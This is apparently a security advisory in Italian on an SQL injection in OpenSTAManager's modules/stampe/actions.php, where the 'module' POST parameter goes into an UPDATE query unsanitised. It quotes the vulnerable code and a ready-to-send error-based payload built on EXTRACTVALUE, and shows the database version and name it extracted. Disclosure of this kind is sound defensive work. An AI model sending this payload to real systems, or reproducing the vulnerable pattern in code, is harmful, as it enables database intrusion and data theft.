modules/stampe/actions.phpcase 'update':
if (!empty(intval(post('predefined'))) && !empty(post('module'))) {
$dbo->query('UPDATE `zz_prints` SET `predefined` = 0 WHERE `id_module` = '.post('module'));
// ↑ Direct concatenation without prepare() sanitization
}
Il parametro module dei dati POST viene concatenato direttamente in una query SQL UPDATE senza utilizzare la funzione di sanitizzazione prepare(). Mentre il parametro predefined viene validato con intval(), il parametro module presenta solo un controllo !empty(), che NON previene l'SQL injection.
Pattern vulnerabile:
// Line 25: intval() protects predefined, but module is not sanitized!
if (!empty(intval(post('predefined'))) && !empty(post('module'))) {
// Line 26: Direct concatenation - VULNERABLE
$dbo->query('UPDATE ... WHERE `id_module` = '.post('module'));
}
POST /modules/stampe/actions.php
op=update
id_record=1
predefined=1 (must be non-zero after intval())
module=[INJECTION_PAYLOAD]
title=Test
filename=test.pdf
SQL Injection basata su errori tramite le funzioni EXTRACTVALUE/UPDATEXML/GTID_SUBSET di MySQL
POST /modules/stampe/actions.php

op=update&id_record=1&predefined=1&module=14 AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))&title=Test&filename=test.pdf
Risultato:
Dati estratti: versione MySQL 8.3.0

Risultato:
Dati estratti: nome del database openstamanager
